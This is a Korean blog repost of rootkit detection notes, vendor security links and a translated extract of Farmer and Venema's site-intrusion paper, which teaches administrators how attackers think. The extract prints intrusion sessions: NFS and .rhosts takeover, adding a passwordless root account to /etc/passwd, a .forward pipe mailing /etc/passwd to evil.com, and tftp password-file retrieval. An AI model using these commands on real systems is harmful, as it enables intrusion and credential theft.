    이처럼 rootkit은 로그가 남지 않게 하면서 network으로 슈퍼유저 로그인이 가능하며, 위와 같은 파일들을 새로 설치한다 하더라도 fix라는 기능으로 그 파일의 modified time을 바꾸지 않기 때문에 rootkit이라는 사실을 잘 찾아낼 수 없습니다.

    2.rootkit의 특징 /

    rootkit은 가장 기본적인 명령들 - ls, find, ps, ifconfig, netstat 등- 의 파일을 다른 특수 파일들을 참고 하게 하여 특정 사실들을 보이지 않게 하는 용도로 많이 사용됩니다. 기본적으로 컴파일을 하면, 주로 참고하는 파일이 /dev 아래에 만들어지며, sda69*로 시작되는 파일이나, pty*로 시작되는 파일이 default로 설치되는 것으로 보입니다.

    login
    rootkit 패스워드를 알고 있는 어떤 계정도 로그인이 가능합니다. 슈퍼유저로 로그인을 막고 있다 하더라도 "rewt"로 로그인하면 가능합니다. last, w 명령으로 보이지 않고, log도 남지 않습니다.

    ls
    특정 파일이나 디렉토리 등을 보이지 않게 할 수 있습니다. 이는 rootkit 컴파일시 rootkit.h의 설정 파일에서 참고 파일을 지정할 수 있고, default는 /dev/ptyr로 되어 있습니다.

    # more /pytr    chattr    tcp.log    .s    s    ssynk    ptycron    /dev/ptycron    ptyp    /dev/ptyp    ptyq    /dev/ptyq    ptys    /dev/ptys    ptyr    /dev/ptyr
    이처럼 하면, /dev/pty[pqtr] 등의 파일이 보이지 않습니다.

    netstat
    특정 IP address 나 domain name, port 등을 보이지 않게 합니다. 사용 형식은, 다음과 같습니다.

      default data file: /dev/ptyq       type 0: hide uid       type 1: hide local address       type 2: hide remote address       type 3: hide local port       type 4: hide remote port       type 5: hide UNIX socket path
    예를 들어,
    # more /dev/ptyq     0 500                1 128.31            2 128.31.39.20     3 8000            4 6667           5 .term/socket
    uid 가 500인 사용자, 128.31.X.X으로부터(from) 접속, 128.31.39.20으로의(to) 접속, port 8000으로 접속해오거나, port 6667로 다른 호스트에 접속한 것에 대한 내용을 모두 다 숨깁니다. 뿐만 아니라 .term/socket path를 포함한 UNIX socket에 대한 것을 숨기게 합니다.

    ps
    특정 프로세스에 대한 정보를 숨깁니다. default로는 /dev/ptyp의 설정 파일을 참고 합니다.

    # more /dev/ptyp    0 0             1 p0           2 sniffer     3 hack   
    uid 0이 실행시킨 프로세스, tty p0에서 띄운 프로세스, sniffer라는 이름으로 실행하거나, hack이란 단어가 들어간 프로그램이 돌아가는 프로세스에 대한 것을 숨기도록 하는 예입니다.

    syslogd
    특정 문자열을 포함하는 모든 로그를 삭제합니다. 역시 default로 /dev/ptys 파일을 참고합니다.

    # more /dev/ptys    evil.com     123.100.101.202     rshd 
    evil.com , 123.100.101.202, rshd 를 포함하는 모든 로그를 지웁니다.

    3.rootkit의 진단 /

    rootkit 패키지의 내용을 살펴보면, 위에서 말한 ls나 ps 등의 설정 파일들을 default로 /dev 아래에 설치하도록 되어 있습니다. /dev 아래에는 block이나 packet 파일 등 우리가 잘 알지 못하면서 이름이 비슷한 파일들이 ls 로는 찾아볼 수 없도록 많이 있기 때문입니다. 따라서

     # find /dev -type f -print 
    의 명령으로 일반 파일들을 찾았을 때 위에서 본 것과 같은 설정 파일이 있는지 확인해야 합니다. 일반적으로 pty[pqrs]나 sda69*로 시작되는 파일들이 많이 발견되고 있습니다. 그러나 이것도 안전한 방법은 아닌 이유는 find 명령도 rootkit의 일부이기 때문입니다. 따라서 가장 안전한 방법은 무결성이 보장된 파일로 점검하는 것입니다.
    또다른 방법 중의 하나는 ls, ps 등 위에서 언급된 파일들의 내용이 이상한가 살펴보는 것입니다.
     #  strings /usr/bin/ls
    를 실행했을 때 /dev/ptyp 등의 내용이 있다던가 하면 이는 rootkit으로 바꾸어진 ls 라는 것을 알 수 있습니다.
    또 만약 rootkit을 설치할 때, 옵션을 주어 컴파일 했다면,
     # ls -/
    '-/'의 옵션이 에러로 나오는 것이 아니라 ls 명령이 실행되게 되는데, 이것도 rootkit의 결과입니다.
    linux의 경우에는 rootkit을 체크하는 방법이 더 쉽습니다.
     # rpm -Va S.5....T   /bin/ls .M......   /dev/log S.5....T   /usr/bin/find missing    /bin/netstat S.5....T   /sbin/ifconfig SM5....T   /bin/ps SM5....T c /etc/syslog.conf SM5....T   /bin/login
    이처럼 rpm을 이용해서 파일들이 시스템 설치 이후 바뀌었는지를 알 수 있습니다. 자세한 것은 rpm manpage를 참고하시면 됩니다.
    그리고 rootkit에 sniffing, scan의 도구가 함께 들어 있기 때문에, 보통 rootkit을 설치한 침입자라면 이 도구를 사용할 가능성이 높습니다. 따라서 네트웍 트래픽이 정상적인지를 살핌으로써 침입을 감지할 수도 있습니다.

    4.대응방향 /

    rootkit에 대한 완벽한 대응 방향이 있는 것은 아닙니다. 모든 보안의 방법처럼, 평소에 시스템 보안에 신경을 쓸 수 밖에 없습니다. 이는 Document의 Unix Security를 참고하시기 바랍니다.
    만약 rootkit이 설치된 시스템에 대해 새로 설치를 하지 않는다면, 위에서 언급된 파일들을 무결성 진단이 된 파일들로 바꾸어야 합니다. 그리고 crontab 이나 inetd.conf 등을 잘 살펴 backdoor가 있는지 잘 체크해주어야 합니다. 새로 설치하지 않는 이상 backdoor가 남아있다면 다시 재침입당할 가능성이 높을 수 밖에 없습니다.

  • 2006/09/08 22:36 2006/09/08 22:36
    이 글에는 트랙백을 보낼 수 없습니다
    출처 블로그 > 포렌식 감사
    원본 http://blog.naver.com/jabusunin/20010591966
    출처 : rootda.org
    OS Vendor별 Security Reference
    1. BSD 계열의 보안 참조 사이트
    1.1 BSD/OS

    1.1.1 Patches
    BSDI 인터넷 서버와 인터넷 Super서버에 대한 패치사이트 : http://www.bsdi.com/services/support/patches/
    1.1.2 보안 권고문
    BSDI 인터넷 서버와 인터넷 Super서버에 대한 보안권고문 : http://www.bsdi.com/services/support/
    1.2. FreeBSD

    1.2.1 Patches
    FreeBSD에 대한 패치정보 및 Download는 다음 사이트를 방문하면 된다.
    ftp://ftp.freebsd.org/pub/FreeBSD/releases/i386
    ftp://ftp.freebsd.org/pub/FreeBSD/releases/alpha
    1.2.2 보안권고문 http://www.freebsd.org/security/
    1.3 NetBSD

    1.3.1 Patches : NetBSD 운영체제에 대한 보안 패치정보 사이트 http://www.netbsd.org/Security/
    1.3.2 Security Advisories http://www.netbsd.org/Security/
    1.4 OpenBSD

    1.4.1 Patches : OpenBSD에 대한 패치정보 ftp://ftp.openbsd.org/pub/OpenBSD/patches/
    1.4.2 Security Advisories http://openbsd.org/errata.html

    Top 2. Linux계열의 Vendor별 보안 참조 사이트

    2.1 Caldera OpenLinux

    2.1.1 Patches : OpenLinux제품에 대한 버전별 Update정보는 다음 사이트를 통하여 참조할 수 있다
    ftp://ftp.calderasystems.com/pub/updates/OpenLinux/
    2.1.2 보안 권고문 http://www.calderasystems.com/support/security/
    2.2 Debian GNU/Linux

    2.2.1 Debian GNU/Linux의 보안정보, Security Bullentin의 링크정보 및 패치, Update정보의 참조 사이트 http://www.debian.org/security/
    2.3 Mandrake Linux

    2.3.1 Patches and Security Advisories : Mandrake Linux의 보안정보, Security Bullentin의 링크정보 및 패치, Update, 권고문 정보의 참조 사이트 http://www.linux-mandrake.com/en/security/
    2.3.2 Security Configuration Scripts : Mandrake Linux사이트는 OS의 보안을 강화하기위한 방법 및 스크립트 등에 관련된 정보를 현재 제공하고 있다. http://bastille-linux.sourceforge.net
    2.4 RedHat Linux

    2.4.1 패치 및 보안 권고문 http://www.redhat.com/support/errata/
    2.4.2 Security Configuration Scripts : RedHat Linux사이트는 OS의 보안을 강화하기위한 방법 및 스크립트 등에 관련된 정보를 현재 제공하고 있다.
    http://bastille-linux.sourceforge.net

    Top

    2.5 Slackware Linux

    2.5.1 패치정보 및 최신버전의 SlackWare Linux OS
    ftp://ftp.slackware.com/pub/slackware/
    ftp://ftp.slackware.com/pub/slackware/slackware-current/
    2.5.2 보안 권고문
    SlackWare는 보안권고문 정보를 메일링 리스트를 통하여 제공하고 있으며, 보안권고문 정보를 다음사이트에서 제공하고 있다.
    http://www.slackware.com/lists/
    http://www.slackware.com/changelog/
    2.5.3 Security Configuration Scripts : SlackWare는 관리자를 위한 보안설정 툴킷(SAStk)를 제공하고 있으며,이 도구를 사용하여 SlackWare Linux의 OS를 더욱더 안전하게 구성할 수 있을 것이다. 이 Tool의 정보는 다음 사이트를 방문하면 구할 수 있을것이다. http://www.sastk.org/
    2.6 SuSE Linux
    Suse Linux의 권고문, 패치, Update등의 보안정보는 다음 사이트를 참조하면 된다.
    http://www.suse.com/us/support/security/index.html
    2.7 TurboLinux
    TurboLinux의 권고문, 패치, Update등의 보안정보는 다음 사이트를 참조하면 된다. http://www.turbolinux.com/security/
    2.8 기타 Linux정보
    기타 베포된 Linux의 정보는 Vendor의 웹사이트를 참조하길 바라며, Linux를 배포한 Vendor 사이트의 정보는 다음 패이지를 참조하면 된다. http://www.linux.org/dist/index.html

    Top 3. 솔라리스(solaris)의 보안관련 참조 사이트

    3.1 솔라리스의 패치정보 : SUN은 정규적으로 보안패치 및 권고사항정보를 Update한다. 이러한 정보는 다음의 사이트를 방문하여 확인 할 수 있다.
    ftp://sunsolve1.sun.com/pub/patches/
    http://sunsolve1.sun.com/
    3.2 IP Forwarding and Source Routing : IP Forwarding, Source Routing은 SUN서버 시스템을 배스천호스트(Bastion Host) 또는 Dual Homed시스템으로 구성시에는 반드시 주의하여 구성하여야 한다. IP Forwarding, Source Routing은 사용하지 않는 것이 보안상 바람직하며, /etc/rc2.d/S69.inet파일을 수동으로 편집하여 조작할 수 있으며, ndd 툴을 사용하여 IP Forwarding, Source Routing을 사용하지 않도록 설정할 수 있다. 다음은 이러한 명령어를 사용하여 해당 플래그 값을 0으로 설정하는 예를 보여준다. 이때 주의 해야 할 점은 이렇게 설정한 환경이 적용되도록 하기 위해서 반드시 시스템을 재부팅해주어야 한다.
    ndd -set /dev/ip ip_forwarding 0
    ndd -set /dev/ip ip_ip_forward_src_routed 0
    3.3 Stack Execution : 버퍼오버플로우(Buffer Overflow)공격에 대한 "stack smashing"공격를 디폴트로 차단시키기 위해 실행가능한 스택모드를 실행불가능하도록 설정하여 운영하는 것이 바람직하다. 이는 /etc/system파일에 다음 2개의 라인을 추가하고 시스템을 재부팅하면 된다.
    set noexec_user_stack=1
    set noexec_user_stack_log=1
    3.4 Security Bulletins : SUN사의 Security Bulletin 웹사이트 및 SunSolve(SUN제품의 Solution)웹사이트는 다음의 사이트를 참조하면 된다.
    http://sunsolve.sun.com/
    http://www.sun.com/security/
    3.5 Sun BluePrints : BluePrint는 SUN의 솔루션들을 사용한 최고의 실제사례에 대한 깊이있는 정보들에 대하여 참고할 만한 자료들을 모아놓은 사이트이다. 다음의 사이트를 참조하면 된다. http://www.sun.com/blueprints/
    특히 이러한 BluePrints자료들중에 보안관련 섹션은 다음과 같다.
    http://www.sun.com/blueprints/browsesubject.html#security

    Top

    다음은 보안관련 각 호스트, 네트워크등의 부분에 대한 자료들의 참조 링크들이다.
    Solaris에 대한 운영체제 환경에 대한 보안 설정 : http://www.sun.com/blueprints/0401/security-updt1.pdf
    Solaris의 네트워크 운영환경의 보안 설정 : http://www.sun.com/blueprints/1200/network-updt1.pdf
    Solasis의 보안에 대한 Minimization : http://www.sun.com/blueprints/1100/minimize-updt1.pdf
    3.6 Solaris Security Toolkit (JASS : JumpStart Architecture and Security Scripts 툴킷)
    JASS는 솔라리스의 운영환경의 보안에 대한 유연성있고, 확장가능하며 자동화된 스크립트를 지원한다. 관련 추가정보 및 Download는 다음사이트를 참조하면 된다. http://www.sun.com/security/jass/
    4. SGI IRIX
    4.1 Patches : IRIX의 보안패치정보는 다음 사이트를 참조하면 된다.
    http://www.sgi.com/support/security/
    IRIX에 대한 적절한 보안설정을 하기 위해서는 다음의 FAQ를 참조하기 바란다.
    http://www-viz.tamu.edu/~sgi-faq/faq/html-1/security.html
    IRIX의 보안에 대한 취약점을 점검하기 위해서 다음의 도구(rscan)를 활용하는 것도 많은 도움이 될 것이다.
    http://www.protomatter.com/rscan/
    4.2 보안 권고문 : SGI의 보안 권고문을 참조하기 위해서는 다음의 사이트를 방문하면 된다.
    http://www.sgi.com/support/security/advisories.html

    Top 5. Hewlett Packard UNIX (HP-UX)

    5.1 패치정보 : 적절한 보안 패치를 검토하고 적용하기 위해서는 HP-UX의 패치사이트를 참조하면 된다.
    http://us-support.external.hp.com/
    6. Digital/Compaq Tru64 UNIX
    6.1 패치정보 : 적절한 보안 패치를 검토하고 적용하기 위해서는 다음의 패치사이트를 참조하면 된다.
    http://ftp.support.compaq.com/patches/.new/unix.shtml
    7. IBM AIX
    7.1 패치정보
    AIX의 보안패치, 복구, 드라이버, Update, 도구등에 대한 정보는 다음의 사이트에서 제공한다.
    http://techsupport.services.ibm.com/rs6000/fixes
    7.2 보안 권고문
    IBM은 보안 권고문에 대한 정보는 다음의 사이트에서 제공한다.
    http://techsupport.services.ibm.com/rs6000/notification
    2006/09/08 22:32 2006/09/08 22:32
    이 글에는 트랙백을 보낼 수 없습니다
    Dan Farmer

    Sun Microsystems
    2550 garcia ave MS PAL1-407
    Mountain View CA 94043
    zen@sun.com

    Wietse Venema

    Eindhoven University of Technology
    P.O. Box 513, 5600 MB
    Eindhoven, NL

    wietse@wzv.win.tue.nl


    개요

    최근 전산망을 통한 침입이 매우 잦아지고 있으며, 이 수법들도 매우 복잡해지는
    수준에 있다. 많은 경우가 패스워드의 문제점에 기인하다고 믿지만 최근 보다
    우수한 침입기법을 이용하는 경우가 많이 발견된다. 이러한 기법들은 잘 발견되기
    어려우므로 아직은 덜 알려져 있는 실정이다.

    보통의 시스템 침입자들의 이미지라고 할 수 있는 단순한 시스템 id 의 반복적인
    시도가 아니라 보다 위험한 경우들이 있다. 최근의 시스템 감사 및 침입도구의
    사용법을 잘 알고 있다든가, 어떤 특정 공격 방법을 수정할 수 있다든가, 또 자신
    이 스스로 프로그램을 만들 수 있다든가 하는 식의 전문 침입자들이 그들이다.
    또한 새로 발견된 시스템의 취약점을 잘 알수 있다든가, 새로운 버그나 취약점들을
    발견하기도 하는데, 이들을 "Uebercracker"라고 한다.


    개요

    이 논문에서는 일반적인 시스템보안에 대한 접근방법을 얘기하는 것이 아니며,
    잠재적인 침입자의 입장에서 "어떻게", "왜"라는 입장에서 접근하고자 한다.
    시스템의 취약점을 찾기위해 불필요한 네트워크 서비스가 도움을 주는 도구이며,
    이러한 서비스들이 운영체제에서 정확하게 동작한다 하도라도 이러한 도구가 될
    수 있는 것이다.

    여기에서는 보다 우수한 침입방법들에 대해 초점을 맞추고, 침입자들이 사용하는
    혹은 시스템의 시험 등을 통해 침입자들을 점검하는 것에 대해 알아 본다. 보통
    시스템관리자들이 간과하기 쉬운 일반적인 공격 이상에 대해 알아보고자 하며,
    어떤 자원이 보호되어야 한다는 것을 잘 알고는 있지만 네트워크나 시스템의 보호
    를 위해 어떤 수준의 평가가 필요한지는 잘 모르고 있다는 점도 알아야 한다.
    침입자들이 어떤 접근을 하려고 하는지를 보임으로서 시스템관리자들이 어떻게
    보안을 세눌 것인지 결정하는데 도움을 주고자 한다.

    이 논문에서는 단순히 시스템의 버그나 보안취약점을 나열하지는 않는다. 이 논문
    의 목적은 어떤 관리자가 자신의 시스템의 보안을 위해 새로운 관점에서 침입
    가능성을 이해시키고자 함이다.

    이 논문에는 4개의 주된 부분으로 나누어진다. 첫째는 개요이며, 두번째 부분은
    침입자들이 어떻게 시스템의 보안 메카니즘에 대해 모르면서 침입할 수 있는지
    그 경향을 알게금 하는 부분인데 실질적인 네트워크의 보안취약점을 어떻게 알아
    내고 정보를 알아내 들어가는가에 대한 구체적인 기법들을 보인다. 여기에서는
    특히 NIS나 NFS 등을 이용한 기법 등에 대해서도 조금 다룰 것이며, 시스템이나
    운영체제에 특정적인 구성문제 등에 대해서도 다루며, 이에 대한 대비책도 보일
    것이다.

    세번째 부분에서는 어떻게 시스템의 보안이 다른 시스템의 무결성에 따라 달라
    지는지 보일 것이며, 이러한 신뢰(Trust)문제는 매우 복잡한 이슈이다.

    네번째 부분에서는 시스템 관리자들이 취해야 할 보안의 기본적인 절차에 대해
    말하고자 한다.

    이 논문의 사례나, 보안 관련 정보, 소프트웨어 등은 이 논문의 마지막에 부록
    에소 보이고 있다.

    이 논문에서 설명된 침입 방법, 기법들은 SATATN(Security Analysis Tool for
    Auditing Networks.) 을 우리는 발표하였다. 이것은 shell, perl, C 등으로 만들
    었으며, 원격지의 시스템에 대해 NIS, finger, NFS, ftp and tftp, rexd 등을
    검사할 수 있다. 뿐만 아니라 잠재적인 보안 문제로서, 잘못된 시스템 구성, 잘
    못된 네트워크 서비스 구성, 시스템이나 네트워크의 잘 알려진 버그 등을 점검
    하게 된다. 이것은 데이타나 잠재적인 보안 문제를 향후 검사하기 위한 전문가
    시스템을 제공한다. 부록 A가 이러한 기능들을 보여주고 있다.

    이 하나의 논문에서 모든 침입방법들을 다 다룰 수는 없으며, 또한 우리의 관심이
    아니다. 사회공학이나 패스워드 Cracking 등이 있으나 가령 패스워드 공격방법에
    대해서는 사실 여기에서도 다루고 있으며, 특히 X Window 공격도 있지만 사실 대
    부분의 침입자들이 이러한 비트맵을 볼 수 있는 단말기등을 가지고 있지 않기 때
    문에 여기에 기술하지 않는다.


    정보를 획득하기

    맨 먼저 무엇을 할 것인가? 먼저 소속한 공격 대상 시스템의 정보를 수집하라.
    이 것을 알 수 있는 방법이 있다. finger, showmount, rpcinfo등을 맨처음 이용할
    수 있을 것이다. 하지만 그밖에도 DNS, whois, sendmail(smtp), ftp, uucp 등의
    여러가지 기법들을 이용할 수 있으며 이러한 정보들은 소속 기관의 전체 네트워크
    침입에 이용될 수 있지만 지금은 우선 단지 특정 목표시스템에 대해 알아본다.

    먼저 finger 명령을 보도록 한다.

    victim % finger @victim.com
    [victim.com]
    Login       Name             TTY Idle     When    Where
    zen      Dr.  Fubar           co   1d  Wed 08:00   death.com

    이것은 하나의 사용자이며, 현재 Idle하므로 아무도 당신의 침입에 대해 신경쓰지
    않을 것이다. 또 다른 전략으로서, "@", "0", "", root, bin, ftp, system, guest,
    demo, manager, 등을 finger하여 보다 많은 정보들을 보기로 한다. 이러한 정보들은
    시스템의 버젼에 따라 다르지만 보통 계정이름과 홈 디렉토리, 마지막 로그인한
    호스트 이름 드을 밝혀 주게 된다.

    여기에 더해 사용자들의 정보를 보기 위해 rusers("-l"옵션으로)를 사용한다.
    이것으로 victim.com 은 다음을 더 보여줄 것이다.

    Login   Home-dir    Shell      Last login, from where
    -----   --------    -----      ----------------------
    root    /           /bin/sh    Fri Nov 5 07:42 on ttyp1 from big.victim.com
    bin     /bin                   Never logged in
    nobody  /                      Tue Jun 15 08:57 on ttyp2 from server.victim.co
    daemon  /                      Tue Mar 23 12:14 on ttyp0 from big.victim.com
    sync    /           /bin/sync  Tue Mar 23 12:14 on ttyp0 from big.victim.com
    zen     /home/zen   /bin/bash  On since Wed Nov  6 on ttyp3 from death.com
    sam     /home/sam   /bin/csh   Wed Nov  5 05:33 on ttyp3 from evil.com
    guest   /export/foo /bin/sh    Never logged in
    ftp     /home/ftp              Never logged in

    SATAN이나 침입자들의 활동을 보는 경험에 비추어 finger 는 매우 위험한 서비스
    이다. 하지만 이것은 다른 데이타와 함께 활용하면 더욱 유용하게 된다.

    예를 들어 showmount 를 실행하여 보자.

    evil % showmount -e victim.com
    export list for victim.com:
    /export                            (everyone)
    /var                               (everyone)
    /usr                               easy
    /export/exec/kvm/sun4c.sunos.4.1.3 easy
    /export/root/easy                  easy
    /export/swap/easy                  easy

    /export/foo 가 완전히 개방되어 있음을 알 수 있다. 뿐만 아니라 이것의 사용자는
    guest의 홈디렉토리이다.  이 경우 "guest" 사용자의 홈디렉토리를 마운트하여
    침입에 성공할 수 있을 것이다. 자신의 시스템에 대응되는 계정도 없으며, root가
    NFS 마운트된 파일시스템의 파일을 수정할 수 없으므로 자신의 시스템이 있는
    패스워드 파일에 "guest" 계정을 만든다. 목표시스템의 "guest" 홈 디렉토리에
    .rhosts 를 만들어 패스워드 없이 로그인할 수 있을 것이다.

    evil # mount victim.com:/export/foo /foo
    evil # cd /foo
    evil # ls -lag
    total 3
       1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .
       1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..
       1 drwx--x--x  9 10001    daemon       1024 Aug  3 15:49 guest
    evil # echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd
    evil # ls -lag
    total 3
       1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .
       1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..
       1 drwx--x--x  9 guest    daemon       1024 Aug  3 15:49 guest
    evil # su guest
    evil % echo evil.com >> guest/.rhosts
    evil % rlogin victim.com
            Welcome to victim.com!
    victim %

    만약 홈디렉토리가 아닌 사용자 명령어(/usr or /usr/local/bin)디렉토리를 개방하
    였다면, 명령어를 당신의 의도대로 만든 트로이목마 프로그램등으로 대치해 두면
    다음 사용자가 이를 실행하면 당신이 원하는 명령을 목표 시스템에 실행할 수 있다.

    파일 시스템은,

    - 특별히 신뢰하는 클아이언트에만 read/write only 로 개방하며,
    - 가능한 Read-only로 만든다.

    만약 /etc/hosts.equiv 에 "+"를 가지고 있다면(대부분 업체에서는 이것이 디폴트)
    혹은 netgroups 버그(CERT advisory 91:12)의 경우 목표시스템의 패스워드 파일내
    에 있는 계정을 가진 사용자면 패스워드 없이 로그인할 수 있다. "bin" 사용자는
    중요한 디렉토리나 파일을 소유주이므로 목표시스템에 다음 들어갈 경우에는 root
    로 접근할 수 있도록 패스워드 파일을 수정할 수 있다. 

    evil % whoami
    bin
    evil % rsh victim.com csh -i
    Warning: no access to tty; thus no job control in this shell...
    victim %  ls -ldg /etc
    drwxr-sr-x  8 bin      staff        2048 Jul 24 18:02 /etc
    victim %  cd /etc
    victim %  mv passwd pw.old
    victim %  (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd
    victim % ^D
    evil % rlogin victim.com -l toor
            Welcome to victim.com!
    victim #

    rsh 을 finger나 who로 보이지 않도록 wtmp나 utmp 시스템 로그를 이용한 어떤
    추적도 남기지 않으므로 시스템에  접근할 수 있다. COPS(부록D) 은 관리자가 아닌
    어떠한 사용자가 주요한 파일에 대해 쓰기권한을 가질 수 있는지 보고한다.
    만약 SunOS 4.x 을 사용한다면 패치 100103 을 이용하여 파일 접근 권한문제를
    해결할 수 있다. 위의 rsh 방법은 적당한 자료를 남기지 않으므로 tcp wrapper
    (부록 D)는 들어오는 접속에 대해 적당한 로그를 남긴다.


    ---------------------------------------------------------------------------
    이제 무엇을 하나? 목표 시스템의 모든 취약점을 다 찾은 것이 아닐 것이다.        
    다시 "finger" 를 이용하여 목표 시스템이 "ftp" 게정을 가지고 있다는 것을 알게
    된다면, 이는 anonymous ftp를 구성하고 있다는 것을 알려주는 것이다.
    anonymous ftp는 잘못 구성됨으로서 쉽게 외부에서 접근 할 수 있게 해준다.
    예를 들어 목표 시스템이 ~ftp/etc 디렉토리에 /etc/passwd 파일 전체 카피를
    가지고 있다면 victim.com의 ftp 계정의 홈디렉토리는 쓰기가 가능해진다.
    이것은 목표시스템에 remote 명령을 실행할 수 있도록 해주는, 예를 들어 전자우편
    을 통해 패스워드 파일을 보내게한다든가 하는 식의, 즉 ftp로 메일이 왔을 때
    명령을 실행하도록 .forward 파일을 만들 수 있는 것이다. 이것은 "vacation"
    프로그램이 메일에 자동 응답하도록 사용하는 파이프의 개념을 이용하는 것이다.

    evil % cat forward_sucker_file
    "|/bin/mail zen@evil.com < /etc/passwd"

    evil % ftp victim.com
    Connected to victim.com
    220 victim FTP server ready.
    Name (victim.com:zen): ftp
    331 Guest login ok, send ident as password.
    Password:
    230 Guest login ok, access restrictions apply.
    ftp> ls -lga
    200 PORT command successful.
    150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes).
    total 5
    drwxr-xr-x  4 101      1             512 Jun 20  1991 .
    drwxr-xr-x  4 101      1             512 Jun 20  1991 ..
    drwxr-xr-x  2 0        1             512 Jun 20  1991 bin
    drwxr-xr-x  2 0        1             512 Jun 20  1991 etc
    drwxr-xr-x  3 101      1             512 Aug 22  1991 pub
    226 ASCII Transfer complete.
    242 bytes received in 0.066 seconds (3.6 Kbytes/s)
    ftp> put forward_sucker_file .forward
    43 bytes sent in 0.0015 seconds (28 Kbytes/s)
    ftp> quit
    evil % echo test | mail ftp@victim.com

    이제 당신은 단순히 패스워드 파일이 올때 까지 기다리면 되는 것이다.             

    COPS가 Anonymous FTP 가 올바른지 점검할 수 있으며, ftp 매뉴얼 페이지나,        
    COPS의 문서나 코드 혹은 CERT-Advisory 93:10 을 참고하여 올바르게 Anonymous
    FTP를 설치할 수 있도록 한다. ftp 의 취약성은 주요한 파일이나 디렉토리의
    잘못된 소유주 문제에서도 비롯될 수 있으며, 최소한 ~ftp와 ~ftp 아래에 있는
    모든 시스템디렉토리 및 파일의 소유주룰 root로 해야 하며, 기타 어떤 사용자
    에게도 쓰기 권한을 허용해서는 안된다.

    ftp 에 대해서는 예전에도 많이 공격하는 수법의 대상이 된 버그를 이용할 수
    있다.                             

    % ftp -n
    ftp> open victim.com
    Connected to victim.com
    220 victim.com FTP server ready.
    ftp> quote user ftp
    331 Guest login ok, send ident as password.
    ftp> quote cwd ~root
    530 Please login with USER and PASS.
    ftp> quote pass ftp
    230 Guest login ok, access restrictions apply.
    ftp> ls -al / (or whatever)

    만약 이것이 동작된다면 root로 로그인하여 패스워드 파일을 수정하거나 어떤       
    작업도 할 수 있게 된다. 만약 이런 버그를 아직 가지고 있다면 업체나 ftp.uu.net
    에서 새 버젼을 가져와 교체해야 한다.
    기존의 ftp 교체 버젼인 Washington 대학에서 만든 wuarchive ftp도 같은 문제를
    가지고 있으며 1993 4월 8일 이전 버젼을 사용한다면 최신버젼으로 교체해야 한다.
    마지막으로 ftp와 유사한 tftp가 있는데, 패스워드나 다른 인증을 거치지 않는
    방법이므로 inetd.conf에 secure 옵션플래그를 두어 접근을 제한하지 않는다면
    침입자는 어떠한 디렉토리의 어떤 파일에 대해서도 읽기/쓰기가 가능해진다.
    보통 이를 통해 패스워드 파일을 가져와서 /tmp디렉토리에 둘 수 있다.

    evil % tftp
    tftp> connect victim.com
    tftp> get /etc/passwd /tmp/passwd.victim
    tftp> quit

    보안을 위해 가능한 tftp는 사용하지 않는 것이 좋으며, 만약 필요하다면, 공개하는 
    정보만 있는 디렉토리로 접근을 제한한 secure 옵션 프래그를 두어 사용하거나
    chroot wrapper 의 제어하에 사용한다.

    이상의 방법이 통하지 않는 경우 어떤 의미에서는 finger 보다 더욱 편리한 rpcinfo
    를 사용할 수 있다. rpc를 이용하는 많은 시스템이 공격당할 수 있는데, rpcinfo가
    portmapper와 대화하여 그 방법을 알려준다. 호스트가 NIS를 사용하는지, NIS가 서버
    인지 slave인지, 디스크없는 워크스테이션이 있는지 없는지, rusersd나 rstatd 등의
    서비스가 있는지 없는지와 NFS에 대한 정보 등을 알려준다. 아까와 같은 목표시스템
    에서 예를 들어 본다.

    evil % rpcinfo -p victim.com    [output trimmed for brevity's sake]
       program vers proto   port
        100004    2   tcp    673  ypserv
        100005    1   udp    721  mountd
        100003    2   udp   2049  nfs
        100026    1   udp    733  bootparam
        100017    1   tcp   1274  rexd

    여기에서 많은 중요한 정보들을 볼 수 있는데, 첫째 이 시스템이 NIS 서버란 사실   
    이다. 아마 많이 알려져있지는 않았서도 서버의 NIS 도메인네임을 한번 알게되면,
    이 NIS 서버의 서브네트 바깥에 있다할지라도 간단한 rpc query를 통해 NIS Maps
    의 어떤 것도 알아낼 수 있다. 예를 들어 ftp.uu.net의 comp.sources.misc에서
    찾을 수 있는 YPX를 사용할 수 있다. 더우기 패스워드를 짐작할 수 있는 것과
    마찬가지로 NIS 도메인네임도 쉽게 짐작 할 수 있다. 부분적으로 혹은 전체적으로
    알게된 호스트이름(예를 들어 victim 이나 victim.com등), 기관 이름, "showmount"
    등으로 알게된 netgroups 이름 등으로 짐작할 수 있다. "victim"으로 짐작하고
    싶다면 다음을 이용한다.                                                        

    evil % ypwhich -d victim victim.com
    Domain victim not bound

    이것은 실패한 경우이다. 만약 성공한 경우라면 victim.com의 NIS서버 호스트이름을 
    반환받게 된다. 그러나 victim.com이 "/var"를 완전히 개방하고 있다는 사실을
    NFS에서 알수 있었다. 이 디렉로리를 마운트하여 "yp"서브디렉토리를 볼 수 있는데,
    혹은 다른 서브디렉토리에서 목표시스템의 도메인네임을 알 수도 있을 것이다.
       
    evil # mount victim.com:/var /foo
    evil # cd /foo
    evil # /bin/ls -alg /foo/yp
    total 17
       1 drwxr-sr-x  4 root     staff         512 Jul 12 14:22 .
       1 drwxr-sr-x 11 root     staff         512 Jun 29 10:54 ..
      11 -rwxr-xr-x  1 root     staff       10993 Apr 22 11:56 Makefile
       1 drwxr-sr-x  2 root     staff         512 Apr 22 11:20 binding
       2 drwxr-sr-x  2 root     staff        1536 Jul 12 14:22 foo_bar
       [...]

    이 경우 'foo_bar"가 NIS 도메인 이름이다. 그리고 가끔 NIS 맵은 크랙킹을 위한    
    패스워드 뿐 아니라 user/employee나 내부 호스트이름 리스트 등을 가지고 있을 수
    있다. 부록 C는 NIS 패스워드 파일에 대한 사례의 결과가 상세히 실려있다.

    ---------------------------------------------------------------------------

    rpcinfo 가 victim.com이 rexed를 사용하고 있다는 것도 알려주고 있다. rshd와     
    마찬가지로 rexed는 원격지에 명령을 실행할 수 있도록 요청하는 서비스이다.
    하지만 rshd와는 달리 hosts.eqiv나 .rhost의 존재 유무에 상관없다. 보통
    rexed 클라이언트 프로그램이 명령어에 있지만 단지 적은 C 프로그램을 가지고
